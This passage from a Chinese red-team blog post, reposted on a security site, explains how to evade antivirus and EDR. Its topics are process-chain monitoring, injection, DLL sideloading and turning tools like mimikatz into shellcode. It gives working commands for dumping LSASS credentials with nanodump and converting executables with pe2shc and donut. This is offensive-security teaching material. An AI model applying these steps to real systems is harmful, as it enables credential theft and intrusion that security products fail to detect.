假如explorer.exe出现网络连接会被杀软持续跟踪,直到销毁我们的beacon,但是如果注入到浏览器,浏览器发起存在网络连接是在正常不过的事情;如果要调用cmd.exe那么从explorer.exe调用再正常不过了,但是浏览器进程启动cmd.exe则是非常可疑的,这就是进程链监控的基本原理。

动态逃逸杀软

为了绕过进程链的监控,通用的一般有两种方法,一种是进程注入到别的进程,另外一种是父进程欺骗;父进程欺骗这边我就不讲解原理了,先知已经有很多文章,我们直接用C2开箱即用的欺骗技术就好了,目前自带的技术生命力还是非常强的;如果上面两种都过不了,就得找WinCOM自行武器化,或者寻找入口进程本身的特性,这些都非常复杂,涉及知识面非常广泛,又是另外一个很大的话题了。

为了更好的解释,我本地搭建了tomcat模拟实战环境,可以看到,如果直接在冰蝎的命令执行,发现是无法执行敏感命令的,理由也很简单,java.exe这个进程本身就不太可能拉起cmd执行系统命令,会被杀软重点关注:

动态逃逸杀软

可以看到执行一般的命令还好,但是敏感命令直接就寄了“Cannot run program "cmd.exe": CreateProcess error=5, 拒绝访问。”意味着我们无法拉起这个进程:

动态逃逸杀软

虚拟终端,常常用于被删除cmd环境的情况,它也没办法绕过进程链的检测:

动态逃逸杀软

不过冰蝎有强大的反弹shell功能,可以一键打入各种C2的shellcode,上线各种后门,如果自己二改定义,这几乎绕过了所有杀软:

动态逃逸杀软

你也许会好奇它的反弹shell是怎么实现绕过的,实际上就是利用强大灵活的java的jni实现载入c编写的dll上线,由于java本身是白签名程序,加上本身打入的方式只会java内部新启动一个线程,这种强大的灵活的规避性质足以绕过所有杀软和EDR,这部分就留到后门再填坑了,不得不再次感慨一下rebeyond大神出神入化的境界。

DLL侧加载

DLL侧加载其实就是白+黑,对于更为严厉的杀软可以使用DLL侧加载,根据“EDR Evasion Primer For Red Teamers”研究,即使是现在,绝大多数的EDR依然难以查杀此类躲藏在合法签名内执行的恶意程序,而且这招即使是APT组织也会使用,足够见其生命力之强,可以参考我之前写的文章增强这类实现部分,我也找两个个微软Windows defender的签名的EXE上传到Github上帮助大家练习:

动态逃逸杀软

dump Lsass内存

dump lsass经过多年发展和对抗,已经派生出十几种攻击方法,深入理解牵扯出很多高级机制,非常难,好在我们也有武器化后的工具可以直接拿来用;今年早些使用还可以用SSP加载的方法绕过所有EDR,但是现在被SOC Team的同事上报废了(搞的我文章得重新写,恼),现在就拿火绒演示一下了(笑);

原始的mimikatz在火绒杀毒的情况下都dump不下来了,不过对付火绒只需要:

nanodump --fork --write C:lsass.dmp

动态逃逸杀软

动态逃逸杀软

卡巴斯基的lssas保护非常变态,请看今年的dump内存的测试结果,15种不同的高级dump技术都无法绕过它的保护,对于企业级的对抗得上驱动强度了,后面有机会再分享吧:

动态逃逸杀软

通用工具的免杀方法

我们还想让注入技术发挥更强怎么办?有个魔法般的工具能吧所有PE文件转换为shellcode,只要注入技术ok,几乎立刻复活所有工具(0.0),只需要一行命令

pe2shc.exe <path to your PE> [output path*]

动态逃逸杀软

当然还有其他转换shellcode的工具donet,这个工具参数有点眼花缭乱,我这里给一条我最常用的:

donut.exe -i mimikatz.exe -o log.txt

动态逃逸杀软

如果要想要shellcode小一些可以启用压缩算法,-z 1是默认的,目前可用的就1234,5还是有bug:

动态逃逸杀软

需要注意,转换工具处理过的shellcode有查杀特征,我记得先知社区有师傅魔改过特征,非常适合持久运行的工具使用,之前记得有的,但是找了一下没找到,有师傅知道可以评论区留言;现在我们有很多方法可以获得任意EXE文件的shellcode,请别再烦恼静态免杀,专注动态对抗吧。

模拟真实环境测试

火绒6.0加入了内存查杀,我们也看看效果,演示视频地址

动态逃逸杀软

卡巴斯基的演示截图,演示视频地址

动态逃逸杀软

总结

本篇文章从Cobalt Strike的免杀切入,深入探讨了流量、内存、行为、沙箱等多种查杀角度的规避技术,虽然目前这些技术能规避绝大多数杀软,但是在顶尖对抗场景来说依然乏力。

参考资料和工具:

https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_profile-language.htmhttps://github.com/threatexpress/malleable-c2https://www.youtube.com/watch?v=z8GIjk0rfbI&ab_channel=BsidesCymruhttps://www.youtube.com/watch?v=-QRr_8pvOiY&ab_channel=DEFCONConferencehttps://github.com/fortra/nanodump/https://en.wikipedia.org/wiki/Kernel_Patch_Protectionhttps://github.com/EgeBalci/sgnhttps://github.com/hasherezade/pe_to_shellcodehttps://anti-debug.checkpoint.com/https://github.com/KomiMoe/Arkarihttps://github.com/TheWover/donuthttps://www.youtube.com/watch?v=CKfjLnEMfvIhttps://klezvirus.github.io/RedTeaming/AV_Evasion/NoSysWhisper/https://www.henry-blog.life/henry-blog/shellcode-jia-zai-qi/mo-kuai-cai-tahttps://0xdarkvortex.dev/hiding-in-plainsight/

原文始发于微信公众号(网安探索员):动态逃逸杀软

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月4日22:22:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   动态逃逸杀软https://cn-sec.com/archives/3464790.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息